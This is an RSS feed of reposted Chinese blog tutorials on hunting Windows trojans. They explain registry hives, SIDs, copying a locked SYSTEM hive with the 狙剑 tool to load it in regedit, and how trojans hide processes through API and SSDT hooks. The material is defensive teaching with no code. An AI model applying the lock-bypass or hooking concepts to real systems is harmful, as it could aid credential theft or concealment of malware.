<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">由于大多数的自启动位置都在注册表中，所以，首先，我们需要了解&#8220;注册表&#8221;是什么。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注册表从功能上说，它是一个存储各种设置信息的数据仓库，系统的全部设置几乎都存在那里，比如：你用的是什么墙纸、什么屏保、</span><font face="Times New Roman">IE</font><span style="font-family: 宋体">的首页、</span><font face="Times New Roman">IE</font><span style="font-family: 宋体">窗口的大小等等。当然了，开机时需要加载的驱动、开启的服务、运行的程序等等也都存储在这里。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而从实质上来说呢，注册表其实是由一些记录配置信息的文件组成的，这些文件中的大部分存在&#8220;</span><font face="Times New Roman">"Windows"System32"Config"</font><span style="font-family: 宋体">&#8221;目录下，还有一部分存在用户配置文件夹中，也就是下面将要讲到的</span><font face="Times New Roman">03-24</font><span style="font-family: 宋体">图中的用户文件夹中。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这些文件有一个很难听的名字叫做储巢，也就是朋友可能听过的</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">由于注册表对系统实在是太重要的了，任何损坏都有可能造成系统彻底的崩溃，所以，系统对注册表的保护也是很严密的，正常情况下，你无法对注册表</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件进行任何的直接操作，看下图</span><font face="Times New Roman">03-18</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="374" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205030071352744/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">你不仅无法打开、修改，你甚至无法进行拷贝操作。而系统保护注册表的手段，就是由系统以独占的方式打开注册表文件，这样你的任何针对此文件的操作，都将被拒绝。下面，我们来验证一下，看下图</span><font face="Times New Roman">03-19</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="392" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205010334941124/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑，选择&#8220;进程管理&#8221;，在进程列表中选中&#8220;</span><font face="Times New Roman">system</font><span style="font-family: 宋体">&#8221;进程，再选择&#8220;查看打开的文件&#8221;，就可以看到系统打开的所有文件，看上图中蓝条选中的那一项，是不是就是我们无法进行操作的&#8220;</span><font face="Times New Roman">"Windows"System32"Config"system</font><span style="font-family: 宋体">&#8221;文件呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="color: red; font-family: 宋体">注意</span><span style="font-family: 宋体">：狙剑提供了关闭其它进程打开的文件的功能，关闭后，本来无法操作的文件就可以进行正常的操作了。但是，那是对付木马的，而不是对付系统的，因为木马也同样可以利用独占打开的方式来禁止我们对其文件的访问。关闭系统打开的关键文件将发生无可预料的结果，切勿偿试！（关于文件相关的内容，我们在以后的章节中会有详细的讲解。）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">那我们是否就无法操作注册表了呢？当然不是，系统在保护注册表文件的同时，也提供了操作注册表的工具</span><font face="Times New Roman">-</font><span style="font-family: 宋体">&#8220;注册表编辑器&#8221;。</span></p>
<span style="font-size: 10.5pt; font-family: 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-size: 10.5pt; font-family: 宋体">在&#8220;开始&#8221;菜单中，选择&#8220;运行&#8221;，输入&#8220;</span><span style="font-size: 10.5pt; font-family: 'Times New Roman'">regedit.exe</span><span style="font-size: 10.5pt; font-family: 宋体">&#8221;就可以打开注册表编辑器，打开后的情况是这样的，看下图</span><span style="font-size: 10.5pt; font-family: 'Times New Roman'">03-20</span><span style="font-size: 10.5pt; font-family: 宋体">：</span><span style="font-size: 10.5pt; font-family: 'Times New Roman'"><br />
<br />
</span><img height="394" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204991370062908/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上面的各项称为&#8220;键&#8221;，最上层的是&#8220;根键&#8221;下面的叫做&#8220;子键&#8221;，其与上面我们说的注册表文件一一对应，对应关系如下：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_LOCAL_MACHINE</strong>"SAM&nbsp;</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Windows"System32"config"sam</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_LOCAL_MACHINE</strong>"SECURITY </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Windows"System32"config"security</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_LOCAL_MACHINE</strong>"SOFTWARE </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Windows"System32"config"software</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_LOCAL_MACHINE</strong>"SYSTEM </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Windows"System32"config"system</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_USERS</strong>".DEFAULT </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> Windows"System32"config"Default</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_USERS</strong>"S-1-5-XX_XXX&nbsp;</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> "Documents and Settings"&lt;</font><span style="font-family: 宋体">用户名</span><font face="Times New Roman">&gt;"Ntuser.dat</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_USERS</strong>"S-1-5-XX_XXX_Classes </font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman">"Documents and Settings"&lt;</font><span style="font-family: 宋体">用户名</span><font face="Times New Roman">&gt;"Local Settings"Application Data"Microsoft"Windows"Usrclass.dat</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">还有其它的键呢？又对应哪些文件呢？呵，这要从注册表的数据类型说起了，除了上面的键外，其它的几个键是属于</span><font face="Times New Roman">REG_LINK</font><span style="font-family: 宋体">类型，直翻过来就是&#8220;注册表链接&#8221;了，这种类型的键是透明的指向另一个键的一个链接，也可以理解成这些键只是另外的某个子键的快速入口或某类相似键的汇总而已，本身并没有文件，其链接的键对应如下：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman"><strong>HKEY_CLASS_ROOT</strong></font><span style="font-family: 宋体">中的内容来自于下面的两个注册键：</span><font face="Times New Roman"> HKEY_LOCAL_MACHINE"SOFTWARE"Classes</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; line-height: 150%"><font face="Times New Roman">HKEY_CURRENT_USER"SoftWare"Classes</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_CURRENT_USER</font></strong><span style="font-family: 宋体">中的内容是当前用户的信息，来自于</span><font face="Times New Roman">HKEY_USERS"S-1-5-XX-XXXX&nbsp;</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman"> "Documents and Settings"&lt;</font><span style="font-family: 宋体">用户名</span><font face="Times New Roman">&gt;"Ntuser.dat</font></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_CURRENT_CONFIG</font></strong><span style="font-family: 宋体">中的内容来自于</span><font face="Times New Roman">HKEY_LOCAL_MACHINE"SYSTEM"CurrentControlSet"Hardware Profiles"Current</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当你修改有链接关系的任一键中的数据时，对应的链接键也会体现出来，比如：你修改了</span><font face="Times New Roman">HKEY_CLASS_ROOT</font><span style="font-family: 宋体">中的内容，那么你的修改也同时体现在了</span><font face="Times New Roman">HKEY_LOCAL_MACHINE"SOFTWARE"Classes</font><span style="font-family: 宋体">中，因为这本就是同一个文件中的同一部分数据。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211356.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:10 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211356.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（二）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211358.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:10:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211358.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211358.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211358.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211358.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211358.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">下面我们再简单的说一说</span><font face="Times New Roman">SID</font><span style="font-family: 宋体">（安全标识符）也就是上面的&#8220;</span><font face="Times New Roman">S-1-5-XX-XXX</font><span style="font-family: 宋体">&#8221;，其后面部分我用&#8220;</span><font face="Times New Roman">XXX</font><span style="font-family: 宋体">&#8221;取代了，后面是不定值。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SID</font><span style="font-family: 宋体">前面的定义是固定的，比如：</span><font face="Times New Roman">S-1-5-18</font><span style="font-family: 宋体">是本地系统账户（</span><font face="Times New Roman">Local System</font><span style="font-family: 宋体">）</span><font face="Times New Roman">S-1-5-19</font><span style="font-family: 宋体">是本地服务账户、</span><font face="Times New Roman">S-1-5-20</font><span style="font-family: 宋体">是网络服务账户等（更多信息，请参考专业资料）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">而</span><font face="Times New Roman">SID</font><span style="font-family: 宋体">后面的部分是全球唯一的，就是：</span><font face="Times New Roman">329068152-606747145-682003330-1003</font><span style="font-family: 宋体">那部分，在注册表中这个是保存了当前用户的配置信息，也就是</span><font face="Times New Roman">HKEY_CURRENT_USER</font><span style="font-family: 宋体">指向的部分。（关于用户的概念请参考后面的相关章节）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">接下来，我们再看看每个键中都存储了哪些信息：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_CURRENT_USER</font></strong><span style="font-family: 宋体">中存储了一些与当前登录用户有关联的数据，也就是你个人的一些设定都存在了这里。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_CLASSES_ROOT</font></strong><span style="font-family: 宋体">中存储的是文件关联和</span><font face="Times New Roman">COM</font><span style="font-family: 宋体">对像的注册信息，什么样的文件由什么程序来打开就是存在了这里。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_LOCAL_MACHINE</font></strong><span style="font-family: 宋体">中存储的是系统相关的信息，比如：驱动、服务等。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_USERS</font></strong><span style="font-family: 宋体">存储的是所有账户的信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><strong><font face="Times New Roman">HKEY_CURRENT_CONFIG</font></strong><span style="font-family: 宋体">中存储的是当前硬件配置信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">呵，上面都是一些基本的知识，看起来有些枯燥，能理解就理解，理解不了就算了，并不影响后面对木马的查杀。这里之所以讲这些，是提供给想深入了解系统知识的朋友的，要想成为高手就不能不了解这些。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面我们再来点动手的，提一提精神。那些禁止我们打开、修改甚至不让我们复制的注册表文件我们难道真的就没办法看看里面是什么吗？嘿，不知道有没有好奇心跟我一样重的朋友。想当年，我可是想尽办法也想看看怎么把那些文件给打开的，呵，没办法，好奇心就是重。我们下面就动手来看看，那里面都是些什么神秘的东西，系统居然看都不让我们看。</span></p>
<br />

<p><span style="font-size: 10.5pt; font-family: 宋体">先看下图</span><span style="font-size: 10.5pt; font-family: 'Times New Roman'">03-21</span><span style="font-size: 10.5pt; font-family: 宋体">：</span></p>
<br />

<p><img height="367" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204980998406870/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
</p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑，选择&#8220;磁盘文件管理&#8221;，在打开的选择框中选择系统盘，然后找到</span><font face="Times New Roman">Windows"System32"config"</font><span style="font-family: 宋体">目录下的注册表文件，按右键，选择&#8220;复制文件&#8221;。在弹出的保存框中，给新文件起个名字。</span><font face="Times New Roman">OK</font><span style="font-family: 宋体">了，我们成功的复制出了系统本来不想让我们看到的注册表文件。（怎么复制这些不能复制的文件、怎么删除不能删除的文件等我们会在后面的&#8220;木马的查杀之文件篇&#8221;中统一讲解&#8221;）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">文件复制出来了，我们怎么来看里面都是什么呢？两种方法，一种是用十六进制编辑器查看，当然了，这种文件是特殊格式的文件，用十六进制编辑器看，看得一定是有些晕的，要做好心理准备哦。第二个方法就是利用</span><font face="Times New Roman">Regedit.exe</font><span style="font-family: 宋体">（注册表编辑器）的&#8220;加载配置单元&#8221;的功能。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">这里，我们讲一讲第二种方法，打开注册表编辑器，先选中</span><font face="Times New Roman">HKEY_LOCAL_MACHINE</font><span style="font-family: 宋体">键（注意：这一步不要省略，不然加载配置单元项是灰的，也可以选中</span><font face="Times New Roman">USER</font><span style="font-family: 宋体">键），然后依次选择&#8220;文件&#8221;</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;加载配置单元&#8221;。如下图</span><font face="Times New Roman">03-22</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="401" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204971780585657/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">在弹出的选择框中选择我们刚才复制出来的注册表文件，在项名字中随便输入一个名字，这里我输入的是&#8220;</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">&#8221;，然后，就加载成功了，看下图</span><font face="Times New Roman">03-23</font><span style="font-family: 宋体">，是不是多出了一个</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">键呢？这个键跟</span><font face="Times New Roman">System</font><span style="font-family: 宋体">键的内容是一样的，因为我们复制的就是</span><font face="Times New Roman">System</font><span style="font-family: 宋体">注册表文件：</span></p>
<br />
 <img height="491" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204960296159100/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注意一下儿，</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">里面少了这个键&#8220;</span><font face="Times New Roman">CurrentControlSet</font><span style="font-family: 宋体">&#8221;，为什么会少一个呢？不用我说朋友们也应该知道为什么吧？什么，不知道？那再看看他的名字&#8220;</span><font face="Times New Roman"><strong>Current</strong>-<strong>Control</strong>-<strong>Set</strong></font><span style="font-family: 宋体">&#8221;这回知道了吧？对了，这个键也是个链接键，是从</span><font face="Times New Roman">ControlSet001</font><span style="font-family: 宋体">与</span><font face="Times New Roman">ControlSet002</font><span style="font-family: 宋体">中链接的内容，是&#8220;当前的&#8221;设置。所以，文件中是没有的。而注册表编辑器是从内存中读取的注册表内容，因此是有的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">选中&#8220;</span><font face="Times New Roman">Test</font><span style="font-family: 宋体">&#8221;键，在文件菜单中选择&#8220;卸载配置单元&#8221;就可以卸掉这个键了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">好了，基础知识讲到这里，应该是够用了，我们接下来就分别讲解一下子，开机自动运行的程序与触发式启动的程序。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211358.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:10 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211358.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（七）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211355.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:08:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211355.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211355.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211355.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211355.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211355.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="font-family: 宋体">第四种无进程木马就是利用技术手段隐藏进程的木马</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这显然就不属于无进程了，上面说的三种，的确是没有自己的进程，只是利用了其它的进程。而利用技术手段隐藏进程的木马，则是有自己的进程，但是如果你破解不了他的隐藏技术，那你就看不到它的进程。就像上面我们拿出来的那个</span><font face="Times New Roman">HIDE.exe</font><span style="font-family: 宋体">一样，在任务管理器中看不到它的进程，而在狙剑中却能看到，这就是隐藏与破解隐藏后的结果了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">进程是如何隐藏的呢？这无可避免的会涉及到一些技术问题，下面我们尽量简单明了的说一说，详细的实现细节，请参阅相关资料。在这里，我所想达到的目的，并非是让您也同样写出一个能隐藏自身的木马，而是让您明白，什么样的手段可以隐藏木马的进程，木马又为什么会隐藏，而想破解这种解藏将它揪出来，又需要什么样的技术，好有针对性的选择一些专业工具。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">同时，需要注意的是，隐藏进程的技术同样适用于隐藏</span><font face="Times New Roman">DLL</font><span style="font-family: 宋体">模块程序、隐藏驱动程序，下面为了描述方便，统一说为进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Windows</font><span style="font-family: 宋体">系统给我们的开发人员提供了几种列出系统中所有的进程、模块、与驱动程序的方法，最常见的也是最常用的方法就是调用系统</span><font face="Times New Roman">API</font><span style="font-family: 宋体">：</span><font face="Times New Roman">CreateToolHelp32Snapshot</font><span style="font-family: 宋体">、</span><font face="Times New Roman">EnumProcess</font><span style="font-family: 宋体">、</span><font face="Times New Roman">EnumProcessModules</font><span style="font-family: 宋体">等，如果您不是开发人员，您不用关心这几个是什么东西，只需要明白，他们是获取进程列表的第一层手段，我们调用这几个其实就是在告诉系统，我们需要进程列表，然后系统就会将列表返回给我们。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而这几个</span><font face="Times New Roman">API</font><span style="font-family: 宋体">在接到请求后又做了什么呢？他们会调用</span><font face="Times New Roman">ZwQuerySystemInformation</font><span style="font-family: 宋体">，</span><font face="Times New Roman">ZwQuerySystemInformation</font><span style="font-family: 宋体">会调用</span><font face="Times New Roman">KiSystemService</font><span style="font-family: 宋体">切入内核进入</span><font face="Times New Roman">R0</font><span style="font-family: 宋体">权限，然后自</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表中查取得</span><font face="Times New Roman">NtQuerySystemInformation</font><span style="font-family: 宋体">的地址，并调用其指向的实际代码，而</span><font face="Times New Roman">NtQuerySystemInformation</font><span style="font-family: 宋体">的作用则是自系统的数据结构中取相应的数据，再顺原路返回去。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在中间任何一个环节进行拦截都可以实现隐藏进程的目的，这种拦截有一个名字叫做&#8220;</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">&#8221;，在切入内核进入</span><font face="Times New Roman">R</font><span style="font-family: 宋体">０权限前进行</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，称为应用层</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，而在之后进行</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">则是内核</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，后者需要用驱动才能实现了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">什么是</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">？什么是</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">？我们来举例说明：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Windows</font><span style="font-family: 宋体">操作系统就像一个为我们管理电脑的服务公司，而他的工作机制是逐级上报，各负其责的，他派了一个服务人员时刻的跟着我们，看我们都有什么要求。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当我们想查看系统中都有什么进程时，我们会告诉服务员，我们想了解当前都有哪些进程，那么服务员就会把我们的要求报上去，报给谁呢？他要先知道哪个部门负责哪个工作才行，</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表就是做这个的，</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表就像是一个路标，指明了什么样的工作应该由哪一个部门负责处理。通过查表得知负责的部门后，工作就被移交到了那个部门，工作完成后，部门会把工作结果交回给服务员，服务员再交给我们，而我们也就得到我们想要的结果了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">&nbsp;</font><span style="font-family: 宋体">应用层</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">呢，就像是服务员被木马偷偷的替换了，当我们提出要求时呢，他会检查是否对他有害，或将对他有害的信息去掉，比如我们想查看进程，那他在将结果交给我们时，却把木马的进程自结果中抹去了，这样，我们自然是看不到木马进程了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而最常见的内核</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，则是</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">－</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">，上面说了</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">就是一张表，标明了什么工作应该由什么部门负责。而</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">　</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">也就是木马将表上的内容给改了，本来交给</span><font face="Times New Roman">A</font><span style="font-family: 宋体">部门负责的工作被改成了交给由木马负责，这样，服务员在上报我们的请求时，一查表发现查看进程的工作是由木马负责的，他就把这请求交给木马了，而木马呢？他可是知道表中原来的内容是什么的呀，他只是对请求进行一下过滤，发现没有对自己有害的，就直接转交给原部门了，对自己有害的，自然也就视情况滤掉或涂改了。</span></p>
<br />

